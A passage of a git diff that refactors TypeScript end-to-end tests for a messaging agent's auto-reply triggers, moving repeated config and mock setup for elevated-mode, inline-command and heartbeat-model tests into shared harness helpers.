=> { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model status", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - }, - }, - }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runModelDirectiveAndGetText(home, "/model status"); expect(text).toContain("anthropic/claude-opus-4-5"); expect(text).toContain("openai/gpt-4.1-mini"); expect(text).not.toContain("claude-sonnet-4-1"); diff --git a/src/auto-reply/reply.triggers.group-intro-prompts.e2e.test.ts b/src/auto-reply/reply.triggers.group-intro-prompts.e2e.test.ts index 6322d7c9a8d..04b9feabb21 100644 --- a/src/auto-reply/reply.triggers.group-intro-prompts.e2e.test.ts +++ b/src/auto-reply/reply.triggers.group-intro-prompts.e2e.test.ts @@ -1,106 +1,25 @@ -import { mkdir } from "node:fs/promises"; -import { join } from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; +import { beforeAll, describe, expect, it } from "vitest"; +import { + getRunEmbeddedPiAgentMock, + installTriggerHandlingE2eTestHooks, + makeCfg, + withTempHome, +} from "./reply.triggers.trigger-handling.test-harness.js"; -vi.mock("../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - compactEmbeddedPiSession: vi.fn(), - runEmbeddedPiAgent: vi.fn(), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), - resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), -})); - -const usageMocks = vi.hoisted(() => ({ - loadProviderUsageSummary: vi.fn().mockResolvedValue({ - updatedAt: 0, - providers: [], - }), - formatUsageSummaryLine: vi.fn().mockReturnValue("📊 Usage: Claude 80% left"), - resolveUsageProviderId: vi.fn((provider: string) => provider.split("/")[0]), -})); - -vi.mock("../infra/provider-usage.js", () => usageMocks); - -const modelCatalogMocks = vi.hoisted(() => ({ - loadModelCatalog: vi.fn().mockResolvedValue([ - { - provider: "anthropic", - id: "claude-opus-4-5", - name: "Claude Opus 4.5", - contextWindow: 200000, - }, - { - provider: "openrouter", - id: "anthropic/claude-opus-4-5", - name: "Claude Opus 4.5 (OpenRouter)", - contextWindow: 200000, - }, - { provider: "openai", id: "gpt-4.1-mini", name: "GPT-4.1 mini" }, - { provider: "openai", id: "gpt-5.2", name: "GPT-5.2" }, - { provider: "openai-codex", id: "gpt-5.2", name: "GPT-5.2 (Codex)" }, - { provider: "minimax", id: "MiniMax-M2.1", name: "MiniMax M2.1" }, - ]), - resetModelCatalogCacheForTest: vi.fn(), -})); - -vi.mock("../agents/model-catalog.js", () => modelCatalogMocks); - -import { abortEmbeddedPiRun, runEmbeddedPiAgent } from "../agents/pi-embedded.js"; -import { getReplyFromConfig } from "./reply.js"; - -const _MAIN_SESSION_KEY = "agent:main:main"; - -const webMocks = vi.hoisted(() => ({ - webAuthExists: vi.fn().mockResolvedValue(true), - getWebAuthAgeMs: vi.fn().mockReturnValue(120_000), - readWebSelfId: vi.fn().mockReturnValue({ e164: "+1999" }), -})); - -vi.mock("../web/session.js", () => webMocks); - -async function withTempHome(fn: (home: string) => Promise): Promise { - return withTempHomeBase( - async (home) => { - await mkdir(join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); - vi.mocked(runEmbeddedPiAgent).mockClear(); - vi.mocked(abortEmbeddedPiRun).mockClear(); - return await fn(home); - }, - { prefix: "openclaw-triggers-" }, - ); -} - -function makeCfg(home: string) { - return { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - channels: { - whatsapp: { - allowFrom: ["*"], - }, - }, - session: { store: join(home, "sessions.json") }, - }; -} - -afterEach(() => { - vi.restoreAllMocks(); +let getReplyFromConfig: typeof import("./reply.js").getReplyFromConfig; +beforeAll(async () => { + ({ getReplyFromConfig } = await import("./reply.js")); }); +installTriggerHandlingE2eTestHooks(); + describe("group intro prompts", () => { const groupParticipationNote = "Be a good group participant: mostly lurk and follow the conversation; reply only when directly addressed or you can add clear value. Emoji reactions are welcome when available. Write like a human. Avoid Markdown tables. Don't type literal \\n sequences; use real line breaks sparingly."; it("labels Discord groups using the surface metadata", async () => { await withTempHome(async (home) => { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + getRunEmbeddedPiAgentMock().mockResolvedValue({ payloads: [{ text: "ok" }], meta: { durationMs: 1, @@ -122,9 +41,9 @@ describe("group intro prompts", () => { makeCfg(home), ); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(getRunEmbeddedPiAgentMock()).toHaveBeenCalledOnce(); const extraSystemPrompt = - vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; + getRunEmbeddedPiAgentMock().mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; expect(extraSystemPrompt).toContain('"channel": "discord"'); expect(extraSystemPrompt).toContain( `You are in the Discord group chat "Release Squad". Participants: Alice, Bob.`, @@ -136,7 +55,7 @@ describe("group intro prompts", () => { }); it("keeps WhatsApp labeling for WhatsApp group chats", async () => { await withTempHome(async (home) => { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + getRunEmbeddedPiAgentMock().mockResolvedValue({ payloads: [{ text: "ok" }], meta: { durationMs: 1, @@ -157,9 +76,9 @@ describe("group intro prompts", () => { makeCfg(home), ); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(getRunEmbeddedPiAgentMock()).toHaveBeenCalledOnce(); const extraSystemPrompt = - vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; + getRunEmbeddedPiAgentMock().mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; expect(extraSystemPrompt).toContain('"channel": "whatsapp"'); expect(extraSystemPrompt).toContain(`You are in the WhatsApp group chat "Ops".`); expect(extraSystemPrompt).toContain( @@ -172,7 +91,7 @@ describe("group intro prompts", () => { }); it("labels Telegram groups using their own surface", async () => { await withTempHome(async (home) => { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + getRunEmbeddedPiAgentMock().mockResolvedValue({ payloads: [{ text: "ok" }], meta: { durationMs: 1, @@ -193,9 +112,9 @@ describe("group intro prompts", () => { makeCfg(home), ); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(getRunEmbeddedPiAgentMock()).toHaveBeenCalledOnce(); const extraSystemPrompt = - vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; + getRunEmbeddedPiAgentMock().mock.calls.at(-1)?.[0]?.extraSystemPrompt ?? ""; expect(extraSystemPrompt).toContain('"channel": "telegram"'); expect(extraSystemPrompt).toContain(`You are in the Telegram group chat "Dev Chat".`); expect(extraSystemPrompt).toContain( diff --git a/src/auto-reply/reply.triggers.trigger-handling.allows-approved-sender-toggle-elevated-mode.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.allows-approved-sender-toggle-elevated-mode.e2e.test.ts index eaf069adf2e..1c412a7921b 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.allows-approved-sender-toggle-elevated-mode.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.allows-approved-sender-toggle-elevated-mode.e2e.test.ts @@ -1,10 +1,11 @@ import fs from "node:fs/promises"; -import { join } from "node:path"; import { beforeAll, describe, expect, it } from "vitest"; import { getRunEmbeddedPiAgentMock, installTriggerHandlingE2eTestHooks, MAIN_SESSION_KEY, + makeWhatsAppElevatedCfg, + runDirectElevatedToggleAndLoadStore, withTempHome, } from "./reply.triggers.trigger-handling.test-harness.js"; @@ -18,68 +19,18 @@ installTriggerHandlingE2eTestHooks(); describe("trigger handling", () => { it("allows approved sender to toggle elevated mode", async () => { await withTempHome(async (home) => { - const cfg = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1000"], - }, - }, - session: { store: join(home, "sessions.json") }, - }; - - const res = await getReplyFromConfig( - { - Body: "/elevated on", - From: "+1000", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+1000", - CommandAuthorized: true, - }, - {}, + const cfg = makeWhatsAppElevatedCfg(home); + const { text, store } = await runDirectElevatedToggleAndLoadStore({ cfg, - ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + getReplyFromConfig, + }); expect(text).toContain("Elevated mode set to ask"); - - const storeRaw = await fs.readFile(cfg.session.store, "utf-8"); - const store = JSON.parse(storeRaw) as Record; expect(store[MAIN_SESSION_KEY]?.elevatedLevel).toBe("on"); }); }); it("rejects elevated toggles when disabled", async () => { await withTempHome(async (home) => { - const cfg = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - tools: { - elevated: { - enabled: false, - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1000"], - }, - }, - session: { store: join(home, "sessions.json") }, - }; + const cfg = makeWhatsAppElevatedCfg(home, { elevatedEnabled: false }); const res = await getReplyFromConfig( { @@ -109,26 +60,7 @@ describe("trigger handling", () => { agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - const cfg = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1000"], - groups: { "*": { requireMention: false } }, - }, - }, - session: { store: join(home, "sessions.json") }, - }; + const cfg = makeWhatsAppElevatedCfg(home, { requireMentionInGroups: false }); const res = await getReplyFromConfig( { diff --git a/src/auto-reply/reply.triggers.trigger-handling.allows-elevated-off-groups-without-mention.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.allows-elevated-off-groups-without-mention.e2e.test.ts index 098a61876e9..72ba5e22098 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.allows-elevated-off-groups-without-mention.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.allows-elevated-off-groups-without-mention.e2e.test.ts @@ -4,7 +4,8 @@ import { loadSessionStore } from "../config/sessions.js"; import { installTriggerHandlingE2eTestHooks, MAIN_SESSION_KEY, - makeCfg, + makeWhatsAppElevatedCfg, + runDirectElevatedToggleAndLoadStore, withTempHome, } from "./reply.triggers.trigger-handling.test-harness.js"; @@ -18,22 +19,7 @@ installTriggerHandlingE2eTestHooks(); describe("trigger handling", () => { it("allows elevated off in groups without mention", async () => { await withTempHome(async (home) => { - const baseCfg = makeCfg(home); - const cfg = { - ...baseCfg, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - ...baseCfg.channels, - whatsapp: { - allowFrom: ["+1000"], - groups: { "*": { requireMention: false } }, - }, - }, - }; + const cfg = makeWhatsAppElevatedCfg(home, { requireMentionInGroups: false }); const res = await getReplyFromConfig( { @@ -59,22 +45,7 @@ describe("trigger handling", () => { it("allows elevated directive in groups when mentioned", async () => { await withTempHome(async (home) => { - const baseCfg = makeCfg(home); - const cfg = { - ...baseCfg, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - ...baseCfg.channels, - whatsapp: { - allowFrom: ["+1000"], - groups: { "*": { requireMention: true } }, - }, - }, - }; + const cfg = makeWhatsAppElevatedCfg(home, { requireMentionInGroups: true }); const res = await getReplyFromConfig( { @@ -101,39 +72,12 @@ describe("trigger handling", () => { it("allows elevated directive in direct chats without mentions", async () => { await withTempHome(async (home) => { - const baseCfg = makeCfg(home); - const cfg = { - ...baseCfg, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - ...baseCfg.channels, - whatsapp: { - allowFrom: ["+1000"], - }, - }, - }; - - const res = await getReplyFromConfig( - { - Body: "/elevated on", - From: "+1000", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+1000", - CommandAuthorized: true, - }, - {}, + const cfg = makeWhatsAppElevatedCfg(home); + const { text, store } = await runDirectElevatedToggleAndLoadStore({ cfg, - ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + getReplyFromConfig, + }); expect(text).toContain("Elevated mode set to ask"); - - const storeRaw = await fs.readFile(cfg.session.store, "utf-8"); - const store = JSON.parse(storeRaw) as Record; expect(store[MAIN_SESSION_KEY]?.elevatedLevel).toBe("on"); }); }); diff --git a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.e2e.test.ts index 2477872e226..21c95efce45 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.e2e.test.ts @@ -3,6 +3,7 @@ import { join } from "node:path"; import { beforeAll, describe, expect, it } from "vitest"; import { normalizeTestText } from "../../test/helpers/normalize-text.js"; import { + createBlockReplyCollector, getProviderUsageMocks, getRunEmbeddedPiAgentMock, installTriggerHandlingE2eTestHooks, @@ -29,6 +30,29 @@ function pickFirstStoreEntry(store: Record): T | undefined { return entries[0]; } +async function runCommandAndCollectReplies(params: { + home: string; + body: string; + from?: string; + senderE164?: string; +}) { + const { blockReplies, handlers } = createBlockReplyCollector(); + const res = await getReplyFromConfig( + { + Body: params.body, + From: params.from ?? "+1000", + To: "+2000", + Provider: "whatsapp", + SenderE164: params.senderE164 ?? params.from ?? "+1000", + CommandAuthorized: true, + }, + handlers, + makeCfg(params.home), + ); + const replies = res ? (Array.isArray(res) ? res : [res]) : []; + return { blockReplies, replies }; +} + describe("trigger handling", () => { it("filters usage summary to the current model provider", async () => { await withTempHome(async (home) => { @@ -71,24 +95,10 @@ describe("trigger handling", () => { }); it("emits /status once (no duplicate inline + final)", async () => { await withTempHome(async (home) => { - const blockReplies: Array<{ text?: string }> = []; - const res = await getReplyFromConfig( - { - Body: "/status", - From: "+1000", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+1000", - CommandAuthorized: true, - }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, - makeCfg(home), - ); - const replies = res ? (Array.isArray(res) ? res : [res]) : []; + const { blockReplies, replies } = await runCommandAndCollectReplies({ + home, + body: "/status", + }); expect(blockReplies.length).toBe(0); expect(replies.length).toBe(1); expect(String(replies[0]?.text ?? "")).toContain("Model:"); @@ -96,24 +106,10 @@ describe("trigger handling", () => { }); it("sets per-response usage footer via /usage", async () => { await withTempHome(async (home) => { - const blockReplies: Array<{ text?: string }> = []; - const res = await getReplyFromConfig( - { - Body: "/usage tokens", - From: "+1000", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+1000", - CommandAuthorized: true, - }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, - makeCfg(home), - ); - const replies = res ? (Array.isArray(res) ? res : [res]) : []; + const { blockReplies, replies } = await runCommandAndCollectReplies({ + home, + body: "/usage tokens", + }); expect(blockReplies.length).toBe(0); expect(replies.length).toBe(1); expect(String(replies[0]?.text ?? "")).toContain("Usage footer: tokens"); @@ -217,24 +213,11 @@ describe("trigger handling", () => { agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - const blockReplies: Array<{ text?: string }> = []; - const res = await getReplyFromConfig( - { - Body: "here we go /status now", - From: "+1002", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+1002", - CommandAuthorized: true, - }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, - makeCfg(home), - ); - const replies = res ? (Array.isArray(res) ? res : [res]) : []; + const { blockReplies, replies } = await runCommandAndCollectReplies({ + home, + body: "here we go /status now", + from: "+1002", + }); expect(blockReplies.length).toBe(1); expect(String(blockReplies[0]?.text ?? "")).toContain("Model:"); expect(replies.length).toBe(1); diff --git a/src/auto-reply/reply.triggers.trigger-handling.handles-inline-commands-strips-it-before-agent.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.handles-inline-commands-strips-it-before-agent.e2e.test.ts index 823cdc6b5cb..ec25ca423ec 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.handles-inline-commands-strips-it-before-agent.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.handles-inline-commands-strips-it-before-agent.e2e.test.ts @@ -1,8 +1,10 @@ import { beforeAll, describe, expect, it } from "vitest"; import { + createBlockReplyCollector, getRunEmbeddedPiAgentMock, installTriggerHandlingE2eTestHooks, makeCfg, + mockRunEmbeddedPiAgentOk, withTempHome, } from "./reply.triggers.trigger-handling.test-harness.js"; @@ -16,16 +18,8 @@ installTriggerHandlingE2eTestHooks(); describe("trigger handling", () => { it("handles inline /commands and strips it before the agent", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const blockReplies: Array<{ text?: string }> = []; + const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentOk(); + const { blockReplies, handlers } = createBlockReplyCollector(); const res = await getReplyFromConfig( { Body: "please /commands now", @@ -33,11 +27,7 @@ describe("trigger handling", () => { To: "+2000", CommandAuthorized: true, }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, + handlers, makeCfg(home), ); @@ -53,16 +43,8 @@ describe("trigger handling", () => { it("handles inline /whoami and strips it before the agent", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const blockReplies: Array<{ text?: string }> = []; + const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentOk(); + const { blockReplies, handlers } = createBlockReplyCollector(); const res = await getReplyFromConfig( { Body: "please /whoami now", @@ -71,11 +53,7 @@ describe("trigger handling", () => { SenderId: "12345", CommandAuthorized: true, }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, + handlers, makeCfg(home), ); diff --git a/src/auto-reply/reply.triggers.trigger-handling.ignores-inline-elevated-directive-unapproved-sender.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.ignores-inline-elevated-directive-unapproved-sender.e2e.test.ts index cd4648af742..7bd34d67841 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.ignores-inline-elevated-directive-unapproved-sender.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.ignores-inline-elevated-directive-unapproved-sender.e2e.test.ts @@ -6,6 +6,7 @@ import { installTriggerHandlingE2eTestHooks, MAIN_SESSION_KEY, makeCfg, + makeWhatsAppElevatedCfg, withTempHome, } from "./reply.triggers.trigger-handling.test-harness.js"; @@ -26,25 +27,7 @@ describe("trigger handling", () => { agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - const cfg = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1000"] }, - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1000"], - }, - }, - session: { store: join(home, "sessions.json") }, - }; + const cfg = makeWhatsAppElevatedCfg(home); const res = await getReplyFromConfig( { diff --git a/src/auto-reply/reply.triggers.trigger-handling.includes-error-cause-embedded-agent-throws.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.includes-error-cause-embedded-agent-throws.e2e.test.ts index cb87d1fff6c..bfd7ce48db3 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.includes-error-cause-embedded-agent-throws.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.includes-error-cause-embedded-agent-throws.e2e.test.ts @@ -16,21 +16,46 @@ beforeAll(async () => { installTriggerHandlingE2eTestHooks(); +const BASE_MESSAGE = { + Body: "hello", + From: "+1002", + To: "+2000", +} as const; + +function mockEmbeddedOkPayload() { + const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + runEmbeddedPiAgentMock.mockResolvedValue({ + payloads: [{ text: "ok" }], + meta: { + durationMs: 1, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); + return runEmbeddedPiAgentMock; +} + +async function writeStoredModelOverride(cfg: ReturnType): Promise { + await fs.writeFile( + cfg.session.store, + JSON.stringify({ + [MAIN_SESSION_KEY]: { + sessionId: "main", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-5.2", + }, + }), + "utf-8", + ); +} + describe("trigger handling", () => { it("includes the error cause when the embedded agent throws", async () => { await withTempHome(async (home) => { const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); runEmbeddedPiAgentMock.mockRejectedValue(new Error("sandbox is not defined.")); - const res = await getReplyFromConfig( - { - Body: "hello", - From: "+1002", - To: "+2000", - }, - {}, - makeCfg(home), - ); + const res = await getReplyFromConfig(BASE_MESSAGE, {}, makeCfg(home)); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe( @@ -42,28 +67,9 @@ describe("trigger handling", () => { it("uses heartbeat model override for heartbeat runs", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - + const runEmbeddedPiAgentMock = mockEmbeddedOkPayload(); const cfg = makeCfg(home); - await fs.writeFile( - cfg.session.store, - JSON.stringify({ - [MAIN_SESSION_KEY]: { - sessionId: "main", - updatedAt: Date.now(), - providerOverride: "openai", - modelOverride: "gpt-5.2", - }, - }), - "utf-8", - ); + await writeStoredModelOverride(cfg); cfg.agents = { ...cfg.agents, defaults: { @@ -72,15 +78,7 @@ describe("trigger handling", () => { }, }; - await getReplyFromConfig( - { - Body: "hello", - From: "+1002", - To: "+2000", - }, - { isHeartbeat: true }, - cfg, - ); + await getReplyFromConfig(BASE_MESSAGE, { isHeartbeat: true }, cfg); const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0]; expect(call?.provider).toBe("anthropic"); @@ -90,38 +88,10 @@ describe("trigger handling", () => { it("keeps stored model override for heartbeat runs when heartbeat model is not configured", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - + const runEmbeddedPiAgentMock = mockEmbeddedOkPayload(); const cfg = makeCfg(home); - await fs.writeFile( - cfg.session.store, - JSON.stringify({ - [MAIN_SESSION_KEY]: { - sessionId: "main", - updatedAt: Date.now(), - providerOverride: "openai", - modelOverride: "gpt-5.2", - }, - }), - "utf-8", - ); - - await getReplyFromConfig( - { - Body: "hello", - From: "+1002", - To: "+2000", - }, - { isHeartbeat: true }, - cfg, - ); + await writeStoredModelOverride(cfg); + await getReplyFromConfig(BASE_MESSAGE, { isHeartbeat: true }, cfg); const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0]; expect(call?.provider).toBe("openai"); @@ -140,15 +110,7 @@ describe("trigger handling", () => { }, }); - const res = await getReplyFromConfig( - { - Body: "hello", - From: "+1002", - To: "+2000", - }, - {}, - makeCfg(home), - ); + const res = await getReplyFromConfig(BASE_MESSAGE, {}, makeCfg(home)); expect(res).toBeUndefined(); expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); @@ -166,15 +128,7 @@ describe("trigger handling", () => { }, }); - const res = await getReplyFromConfig( - { - Body: "hello", - From: "+1002", - To: "+2000", - }, - {}, - makeCfg(home), - ); + const res = await getReplyFromConfig(BASE_MESSAGE, {}, makeCfg(home)); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe("hello"); diff --git a/src/auto-reply/reply.triggers.trigger-handling.keeps-inline-status-unauthorized-senders.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.keeps-inline-status-unauthorized-senders.e2e.test.ts index 130536996dd..79cac29fbca 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.keeps-inline-status-unauthorized-senders.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.keeps-inline-status-unauthorized-senders.e2e.test.ts @@ -15,40 +15,60 @@ beforeAll(async () => { installTriggerHandlingE2eTestHooks(); +function mockEmbeddedOk() { + const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + runEmbeddedPiAgentMock.mockResolvedValue({ + payloads: [{ text: "ok" }], + meta: { + durationMs: 1, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); + return runEmbeddedPiAgentMock; +} + +function makeUnauthorizedWhatsAppCfg(home: string) { + const baseCfg = makeCfg(home); + return { + ...baseCfg, + channels: { + ...baseCfg.channels, + whatsapp: { + allowFrom: ["+1000"], + }, + }, + }; +} + +async function runInlineUnauthorizedCommand(params: { + home: string; + command: "/status" | "/help"; + getReplyFromConfig: typeof import("./reply.js").getReplyFromConfig; +}) { + const cfg = makeUnauthorizedWhatsAppCfg(params.home); + const res = await params.getReplyFromConfig( + { + Body: `please ${params.command} now`, + From: "+2001", + To: "+2000", + Provider: "whatsapp", + SenderE164: "+2001", + }, + {}, + cfg, + ); + return { cfg, res }; +} + describe("trigger handling", () => { it("keeps inline /status for unauthorized senders", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, + const runEmbeddedPiAgentMock = mockEmbeddedOk(); + const { res } = await runInlineUnauthorizedCommand({ + home, + command: "/status", + getReplyFromConfig, }); - - const baseCfg = makeCfg(home); - const cfg = { - ...baseCfg, - channels: { - ...baseCfg.channels, - whatsapp: { - allowFrom: ["+1000"], - }, - }, - }; - - const res = await getReplyFromConfig( - { - Body: "please /status now", - From: "+2001", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+2001", - }, - {}, - cfg, - ); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe("ok"); expect(runEmbeddedPiAgentMock).toHaveBeenCalled(); @@ -60,37 +80,12 @@ describe("trigger handling", () => { it("keeps inline /help for unauthorized senders", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, + const runEmbeddedPiAgentMock = mockEmbeddedOk(); + const { res } = await runInlineUnauthorizedCommand({ + home, + command: "/help", + getReplyFromConfig, }); - - const baseCfg = makeCfg(home); - const cfg = { - ...baseCfg, - channels: { - ...baseCfg.channels, - whatsapp: { - allowFrom: ["+1000"], - }, - }, - }; - - const res = await getReplyFromConfig( - { - Body: "please /help now", - From: "+2001", - To: "+2000", - Provider: "whatsapp", - SenderE164: "+2001", - }, - {}, - cfg, - ); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe("ok"); expect(runEmbeddedPiAgentMock).toHaveBeenCalled(); diff --git a/src/auto-reply/reply.triggers.trigger-handling.reports-active-auth-profile-key-snippet-status.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.reports-active-auth-profile-key-snippet-status.e2e.test.ts index 7c998c048f6..002ff9de057 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.reports-active-auth-profile-key-snippet-status.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.reports-active-auth-profile-key-snippet-status.e2e.test.ts @@ -3,9 +3,11 @@ import { join } from "node:path"; import { beforeAll, describe, expect, it } from "vitest"; import { resolveSessionKey } from "../config/sessions.js"; import { + createBlockReplyCollector, getRunEmbeddedPiAgentMock, installTriggerHandlingE2eTestHooks, makeCfg, + mockRunEmbeddedPiAgentOk, withTempHome, } from "./reply.triggers.trigger-handling.test-harness.js"; @@ -85,16 +87,8 @@ describe("trigger handling", () => { it("strips inline /status and still runs the agent", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const blockReplies: Array<{ text?: string }> = []; + const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentOk(); + const { blockReplies, handlers } = createBlockReplyCollector(); await getReplyFromConfig( { Body: "please /status now", @@ -105,11 +99,7 @@ describe("trigger handling", () => { SenderE164: "+1002", CommandAuthorized: true, }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, + handlers, makeCfg(home), ); expect(runEmbeddedPiAgentMock).toHaveBeenCalled(); @@ -124,15 +114,8 @@ describe("trigger handling", () => { it("handles inline /help and strips it before the agent", async () => { await withTempHome(async (home) => { - 